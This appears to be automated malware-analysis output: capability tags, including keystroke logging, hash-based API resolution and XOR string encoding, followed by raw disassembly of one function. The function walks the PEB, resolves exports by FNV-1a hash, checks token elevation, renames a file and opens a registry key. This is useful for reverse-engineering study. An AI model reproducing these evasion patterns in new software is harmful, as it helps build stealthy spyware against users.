Function at 0x140022fa0
Capabilities:
Access peb ldr_data
Check if file exists
Encode data using xor
Get file attributes
Get kernel32 base address
Get process filename
Get system information on windows
Hash data using fnv
Log keystrokes via polling
Move file
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xce20]
mov eax, 0xcf20
call fcn.1400f31f0
sub rsp, rax
movaps xmmword [rsp + 0xcf10], xmm6
movaps xmmword [rsp + 0xcf00], xmm7
movaps xmmword [rsp + 0xcef0], xmm8
movaps xmmword [rsp + 0xcee0], xmm9
movaps xmmword [rsp + 0xced0], xmm10
movaps xmmword [rsp + 0xcec0], xmm11
movaps xmmword [rsp + 0xceb0], xmm12
movaps xmmword [rsp + 0xcea0], xmm13
mov rax, qword [0x1401bc300]
xor rax, rsp
mov qword [rbp + 0xcd90], rax
xor edi, edi
movabs rax, 0x5d40d9ae794
mov qword [rbp + 0xc650], rax
movabs rcx, 0x50709f58814f022
mov qword [rbp + 0xc658], rcx
movabs rax, 0x5d468e282ba
mov qword [rbp + 0xc660], rax
mov qword [rbp + 0xc668], rcx
movdqa xmm0, xmmword [rbp + 0xc650]
xorps xmm0, xmmword [rbp + 0xc660]
movaps xmmword [rbp + 0xb50], xmm0
movaps xmm0, xmmword [rbp + 0xb60]
movaps xmmword [rbp + 0xb60], xmm0
movaps xmm1, xmmword [rbp + 0xb70]
movaps xmmword [rbp + 0xb70], xmm1
movaps xmm0, xmmword [rbp + 0xb80]
movaps xmmword [rbp + 0xb80], xmm0
movaps xmm1, xmmword [rbp + 0xb90]
movaps xmmword [rbp + 0xb90], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0xc600], xmm0
mov qword [rbp + 0xc610], rdi
mov qword [rbp + 0xc618], 0xf
mov byte [rbp + 0xc600], dil
xor ecx, ecx
call qword [sym.imp.ucrtbase.dll__time64]
lea ecx, [rax + rax*4]
call qword [sym.imp.ucrtbase.dll_srand]
lea rsi, [0x1400f9538]
movzx ebx, byte [rsp + 0x40]
nop
call qword [sym.imp.ucrtbase.dll_rand]
and eax, 7
movzx r9d, byte [rax + rsi]
mov rcx, qword [rbp + 0xc610]
mov rdx, qword [rbp + 0xc618]
cmp rcx, rdx
jae 0x14002313a
lea rax, [rcx + 1]
mov qword [rbp + 0xc610], rax
lea rax, [rbp + 0xc600]
cmp rdx, 0xf
cmova rax, qword [rbp + 0xc600]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14002314f
movzx r8d, bl
mov edx, 1
lea rcx, [rbp + 0xc600]
call fcn.14000b550
inc edi
cmp edi, 0x10
jb 0x1400230f0
movabs rax, 0x1fffffffe0008678
mov qword [rbp + 0x210], rax
movabs rcx, 0xe00000001fff4e64
mov qword [rbp + 0x218], rcx
movabs rax, 0x1fffffffe0008658
mov qword [rbp + 0x220], rax
mov qword [rbp + 0x228], rcx
movdqa xmm0, xmmword [rbp + 0x220]
xorps xmm0, xmmword [rbp + 0x210]
movaps xmmword [rbp + 0x170], xmm0
movaps xmm0, xmmword [rbp + 0x1200]
movaps xmmword [rbp + 0x180], xmm0
lea rax, [rbp + 0x170]
mov r15, 0xffffffffffffffff
mov rcx, r15
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400231c5
movabs r12, 0x7fffffffffffffff
mov rax, r12
mov rdx, qword [rbp + 0xc610]
sub rax, rdx
cmp rax, rcx
jb 0x14002ea83
lea r9, [rbp + 0xc600]
cmp qword [rbp + 0xc618], 0xf
cmova r9, qword [rbp + 0xc600]
mov qword [rsp + 0x30], rcx
lea rax, [rbp + 0x170]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea r8, [rbp + 0xc600]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x1230]
call fcn.14000c660
nop
lea rcx, [rbp + 0xc600]
call fcn.14000a6f0
nop
lea r8, [rbp + 0xb50]
lea rdx, [rbp + 0x1230]
lea rcx, [rbp + 0xc670]
call fcn.14001c440
nop
lea rcx, [rbp + 0x1230]
call fcn.14000a6f0
lea rbx, [rbp + 0xc670]
cmp qword [rbp + 0xc688], 0xf
cmova rbx, qword [rbp + 0xc670]
lea rcx, [rbp + 0x1880]
call fcn.140022970
cmp qword [rax + 0x18], 0xf
jbe 0x140023295
mov rax, qword [rax]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.ucrtbase.dll_rename]
lea rcx, [rbp + 0x1880]
call fcn.14000a6f0
xor edi, edi
mov ebx, edi
mov qword [rbp + 0xc5c0], rdi
call qword [sym.imp.kernel32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0xc5c0]
mov r14d, 8
mov edx, r14d
call qword [sym.imp.advapi32.dll_OpenProcessToken]
lea r13d, [rdi + 4]
test eax, eax
je 0x140023315
mov dword [rbp + 0xc620], r13d
lea rax, [rbp + 0xc620]
mov qword [rsp + 0x20], rax
mov r9d, r13d
lea r8, [rbp + 0xc5f8]
lea edx, [rdi + 0x14]
mov rcx, qword [rbp + 0xc5c0]
call qword [sym.imp.advapi32.dll_GetTokenInformation]
test eax, eax
cmovne ebx, dword [rbp + 0xc5f8]
mov rcx, qword [rbp + 0xc5c0]
test rcx, rcx
je 0x140023327
call qword [sym.imp.kernel32.dll_CloseHandle]
mov esi, 2
test ebx, ebx
jne 0x140023646
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x1400233c3
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x1400233c3
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400233be
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400233a0
cmp ebx, 0x23a979e4
je 0x1400233c8
test r8d, r8d
jne 0x140023380
mov rax, qword [rax]
jmp 0x140023350
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ebx, dword [rcx + rax*4]
add rbx, r9
movabs rax, 0x20cf5e0a2f348
mov qword [rbp + 0xf0], rax
movabs rcx, 0xe4d1925359a6fe1
mov qword [rbp + 0xf8], rcx
movabs rax, 0x20c878fd0810d
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rcx
movdqa xmm0, xmmword [rbp + 0xf0]
xorps xmm0, xmmword [rbp + 0x100]
movaps xmmword [rbp + 0x1340], xmm0
movaps xmm0, xmmword [rbp + 0xb00]
movaps xmmword [rbp + 0x1350], xmm0
movaps xmm1, xmmword [rbp + 0xb10]
movaps xmmword [rbp + 0x1360], xmm1
movaps xmm0, xmmword [rbp + 0xb20]
movaps xmmword [rbp + 0x1370], xmm0
movaps xmm1, xmmword [rbp + 0xb30]
movaps xmmword [rbp + 0x1380], xmm1
movaps xmm0, xmmword [rbp + 0xb40]
movaps xmmword [rbp + 0x1390], xmm0
movabs rax, 0xb1e22fdfe5ca592
mov qword [rbp + 0xf0], rax
movabs rax, 0x5a09bc2b1bb26b03
mov qword [rbp + 0xf8], rax
xorps xmm2, xmm2
movabs rax, 0x4a3e6cb4de12f0c0
mov qword [rbp + 0x110], rax
movabs rax, 0x5a09bc2b55fb2647
mov qword [rbp + 0x118], rax
lea rax, [rbp + 0xe78]
mov rcx, rsi
xor edi, edi
nop dword [rax + rax]
mov qword [rax - 8], rdi
mov qword [rax], rdi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x1400234d0
movdqa xmm0, xmmword [rbp + 0x110]
xorps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0xe70], xmm0
movdqa xmmword [rbp + 0xe80], xmm2
lea rcx, [rbp + 0x72e0]
lea rax, [rbp + 0xe70]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r9d, r9d
lea r8, [rbp + 0x1340]
lea rdx, [rbp + 0x72e0]
xor ecx, ecx
call rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140023623
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140023623
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002361e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140023600
cmp ebx, 0xcded1a85
je 0x140023628
test r8d, r8d
jne 0x1400235e0
mov rax, qword [rax]
jmp 0x1400235b0
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
mov ecx, r15d
call rdx
xor edi, edi
lea rcx, [rbp + 0xc6b0]
call fcn.14001fbe0
nop
lea rcx, [rbp + 0xc6b0]
cmp qword [rbp + 0xc6c8], 7
cmova rcx, qword [rbp + 0xc6b0]
call qword [sym.imp.kernel32.dll_SetConsoleTitleW]
call fcn.14001acb0
test al, al
jne 0x14002399d
movabs rax, 0x1e694a8f923f39de
mov qword [rbp + 0x70], rax
movabs rax, 0x17db109eb93a0605
mov qword [rbp + 0x78], rax
movabs rax, 0x1d1db04571d
mov qword [rbp + 0x80], rax
movabs rcx, 0x892c8037bfdccc
mov qword [rbp + 0x88], rcx
xorps xmm4, xmm4
movabs rax, 0x504918cad17e6b8a
mov qword [rbp + 0xb0], rax
movabs rax, 0x40945cd2f81a524a
mov qword [rbp + 0xb8], rax
movabs rax, 0x1d1fa241358
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rcx
xorps xmm5, xmm5
lea rax, [rbp + 0xc68]
nop dword [rax]
nop word [rax + rax]
mov qword [rax - 8], rdi
mov qword [rax], rdi
lea rax, [rax + 0x10]
sub r13, 1
jne 0x140023710
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0xc60], xmm0
movdqa xmm1, xmmword [rbp + 0xc0]
xorps xmm1, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0xc70], xmm1
movdqa xmmword [rbp + 0xc80], xmm5
movdqa xmmword [rbp + 0xc90], xmm4
lea rax, [rbp + 0x9090]
lea rcx, [rbp + 0xc60]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rsi, 1
jne 0x140023770
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
call qword [sym.imp.kernel32.dll_GetLastError]
mov edx, eax
lea rcx, [rbp + 0x1820]
call fcn.1400031a0
nop
movabs rcx, 0x1d0007559bdd678
mov qword [rbp + 0x210], rcx
movabs rdx, 0x3dbc4c378875473
mov qword [rbp + 0x218], rdx
movabs rcx, 0x1d0200736cfa43d
mov qword [rbp + 0x220], rcx
mov qword [rbp + 0x228], rdx
movdqa xmm0, xmmword [rbp + 0x220]
xorps xmm0, xmmword [rbp + 0x210]
movaps xmmword [rbp + 0x1580], xmm0
movaps xmm0, xmmword [rbp + 0x4d0]
movaps xmmword [rbp + 0x1590], xmm0
movaps xmm1, xmmword [rbp + 0x4e0]
movaps xmmword [rbp + 0x15a0], xmm1
movaps xmm0, xmmword [rbp + 0x4f0]
movaps xmmword [rbp + 0x15b0], xmm0
movaps xmm1, xmmword [rbp + 0x500]
movaps xmmword [rbp + 0x15c0], xmm1
movaps xmm0, xmmword [rbp + 0x510]
movaps xmmword [rbp + 0x15d0], xmm0
movaps xmm1, xmmword [rbp + 0x520]
movaps xmmword [rbp + 0x15e0], xmm1
mov r8, rax
lea rdx, [rbp + 0x1580]
lea rcx, [rbp + 0x1800]
call fcn.14001c4b0
mov rsi, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1400238c4
mov rsi, qword [rax]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140023953
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140023953
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002394e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140023930
cmp ebx, 0x23a979e4
je 0x140023958
test r8d, r8d
jne 0x140023910
mov rax, qword [rax]
jmp 0x1400238e0
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
mov r9d, 0x10
lea r8, [rbp + 0x9090]
mov rdx, rsi
xor ecx, ecx
call rax
nop
lea rcx, [rbp + 0x1800]
call fcn.14000a6f0
nop
lea rcx, [rbp + 0x1820]
jmp 0x14002ea04
mov qword [rbp + 0xc5c8], rdi
movabs rax, 0xd5c09835e2e2c3e
mov qword [rbp + 0xe70], rax
movabs rax, 0x18059e6367a178e4
mov qword [rbp + 0xe78], rax
movabs rax, 0xa101da11e2f66c1
mov qword [rbp + 0xe80], rax
movabs rax, 0x1dd9818642d25079
mov qword [rbp + 0xe88], rax
movabs rax, 0x86c26c608f72d57
mov qword [rbp + 0xe90], rax
movabs rax, 0x1d176f5f18d5e35f
mov qword [rbp + 0xe98], rax
movabs rax, 0x1fffffffe005d5ee
mov qword [rbp + 0xea0], rax
movabs rcx, 0xe00000001ffae6c4
mov qword [rbp + 0xea8], rcx
xorps xmm6, xmm6
xorps xmm7, xmm7
xorps xmm8, xmm8
movabs rax, 0xd1809d15e6f2c76
mov qword [rbp + 0xef0], rax
movabs rax, 0x18409e3167e078b3
mov qword [rbp + 0xef8], rax
movabs rax, 0xa401de21e6e669d
mov qword [rbp + 0xf00], rax
movabs rax, 0x1d8a81c2428e5030
mov qword [rbp + 0xf08], rax
movabs rax, 0x83a269a08a32d13
mov qword [rbp + 0xf10], rax
movabs rax, 0x1d486f07189ae31d
mov qword [rbp + 0xf18], rax
movabs rax, 0x1fffffffe005d5b1
mov qword [rbp + 0xf20], rax
mov qword [rbp + 0xf28], rcx
xorps xmm9, xmm9
lea rax, [rbp + 0x4768]
mov rcx, r14
nop dword [rax]
nop word [rax + rax]
mov qword [rax - 8], rdi
mov qword [rax], rdi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140023ad0
movdqa xmm0, xmmword [rbp + 0xef0]
xorps xmm0, xmmword [rbp + 0xe70]
movdqa xmmword [rbp + 0x4760], xmm0
movdqa xmm1, xmmword [rbp + 0xe80]
xorps xmm1, xmmword [rbp + 0xf00]
movdqa xmmword [rbp + 0x4770], xmm1
movdqa xmm0, xmmword [rbp + 0xf10]
xorps xmm0, xmmword [rbp + 0xe90]
movdqa xmmword [rbp + 0x4780], xmm0
movdqa xmm1, xmmword [rbp + 0xf20]
xorps xmm1, xmmword [rbp + 0xea0]
movdqa xmmword [rbp + 0x4790], xmm1
movdqa xmmword [rbp + 0x47a0], xmm6
movdqa xmmword [rbp + 0x47b0], xmm7
movdqa xmmword [rbp + 0x47c0], xmm9
movdqa xmmword [rbp + 0x47d0], xmm8
lea rax, [rbp + 0xb4b0]
lea rcx, [rbp + 0x4760]
mov edx, 6
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140023b72
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
lea rax, [rbp + 0xc5c8]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [rbp + 0xb4b0]
mov rcx, 0xffffffff80000002
call qword [sym.imp.advapi32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140023f75
movabs rax, 0x17055b2d4182a0f
mov qword [rbp + 0xf0], rax
movabs rax, 0x1b67d5f6a7210e90
mov qword [rbp + 0xf8], rax
movabs rax, 0x111d8e876bbd3f93
mov qword [rbp + 0x100], rax
movabs rax, 0x6f093a8094648594
mov qword [rbp + 0x108], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x600521c0bd4e2005
mov qword [rbp + 0x130], rax
movabs rax, 0x750ebd95c64c2efc
mov qword [rbp + 0x138], rax
movabs rax, 0x7d7caef304d31ff6
mov qword [rbp + 0x140], rax
movabs rax, 0x6f093ae4f113eaf8
mov qword [rbp + 0x148], rax
lea rax, [rbp + 0x4d28]
mov rcx, r13
nop dword [rax + rax]
mov qword [rax - 8], rdi
mov qword [rax], rdi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140023cb0
movdqa xmm0, xmmword [rbp + 0xf0]
xorps xmm0, xmmword [rbp + 0x130]
movdqa xmmword [rbp + 0x4d20], xmm0
movdqa xmm1, xmmword [rbp + 0x140]
xorps xmm1, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x4d30], xmm1
movdqa xmmword [rbp + 0x4d40], xmm4
movdqa xmmword [rbp + 0x4d50], xmm5
lea rax, [rbp + 0x8150]
lea rcx, [rbp + 0x4d20]
mov edx, 3
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140023d12
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0x4a0], xmm0
mov qword [rbp + 0x4b0], rdi
mov qword [rbp + 0x4b8], rdi
lea rax, [rbp + 0x8150]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140023db4
lea rdx, [rbp + 0x8150]
lea rcx, [rbp + 0x4a0]
call fcn.14000b450
lea rax, [rbp + 0x4a0]
mov qword [rbp + 0xf0], rax
lea rdx, [rbp + 0x4a0]
cmp qword [rbp + 0x4b8], 0xf
cmova rdx, qword [rbp + 0x4a0]
mov r8, qword [rbp + 0x4b0]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001cb10
nop
lea rcx, [rbp + 0x4a0]
call fcn.14000a6f0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140023ea3
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140023ea3
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140023e9e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140023e80
cmp ebx, 0x2fa62ca8
je 0x140023ea8
test r8d, r8d
jne 0x140023e60
mov rax, qword [rax]
jmp 0x140023e30
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
mov ecx, 0xbb8
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140023f53
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140023f53
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140023f4e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140023f30
cmp ebx, 0xe80fd3a
je 0x140023f58
test r8d, r8d
jne 0x140023f10
mov rax, qword [rax]
jmp 0x140023ee0
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor ecx, ecx
call rdx
xor edi, edi
call fcn.140021520
test al, al
je 0x140024338
movabs rax, 0x1c5117cd25e51724
mov qword [rbp + 0xf0], rax
movabs rax, 0x7cf8f86ff75528a8
mov qword [rbp + 0xf8], rax
movabs rax, 0x125c02167621d
mov qword [rbp + 0x100], rax
movabs rcx, 0xab690d9a8e2acc9
mov qword [rbp + 0x108], rcx
movabs rax, 0x3c1659846ba25e77
mov qword [rbp + 0x130], rax
movabs rax, 0x33b4b42ed70167e6
mov qword [rbp + 0x138], rax
movabs rax, 0x125e10123274a
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x148], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
lea rax, [rbp + 0xf78]
mov rcx, r13
mov qword [rax - 8], rdi
mov qword [rax], rdi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140024010
movdqa xmm0, xmmword [rbp + 0x130]
xorps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0xf70], xmm0
movdqa xmm1, xmmword [rbp + 0x100]
xorps xmm1, xmmword [rbp + 0x140]
movdqa xmmword [rbp + 0xf80], xmm1
movdqa xmmword [rbp + 0xf90], xmm4
movdqa xmmword [rbp + 0xfa0], xmm5
lea rax, [rbp + 0x9370]
lea rcx, [rbp + 0xf70]
mov rdx, rsi
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140024070
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
call qword [sym.imp.kernel32.dll_GetLastError]
mov edx, eax
lea rcx, [rbp + 0x1860]
call fcn.1400031a0
nop
movabs rcx, 0x1ea0c51d01c90dc
mov qword [rbp - 0x10], rcx
movabs rdx, 0x40609b728ff3779
mov qword [rbp - 8], rdx
movabs rcx, 0x1ea2c23bf6ee299
mov qword [rbp], rcx
mov qword [rbp + 8], rdx
movdqa xmm0, xmmword [rbp]
xorps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x15f0], xmm0
movaps xmm0, xmmword [rbp + 0x4d0]
movaps xmmword [rbp + 0x1600], xmm0
movaps xmm1, xmmword [rbp + 0x4e0]
movaps xmmword [rbp + 0x1610], xmm1
movaps xmm0, xmmword [rbp + 0x4f0]
movaps xmmword [rbp + 0x1620], xmm0
movaps xmm1, xmmword [rbp + 0x500]
movaps xmmword [rbp + 0x1630], xmm1
movaps xmm0, xmmword [rbp + 0x510]
movaps xmmword [rbp + 0x1640], xmm0
movaps xmm1, xmmword [rbp + 0x520]
movaps xmmword [rbp + 0x1650], xmm1
mov r8, rax
lea rdx, [rbp + 0x15f0]
lea rcx, [rbp + 0x1840]
call fcn.14001c4b0
mov rsi, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1400241ba
mov rsi, qword [rax]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140024243
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140024243
mov r11d, dword [rdi + 0x20]
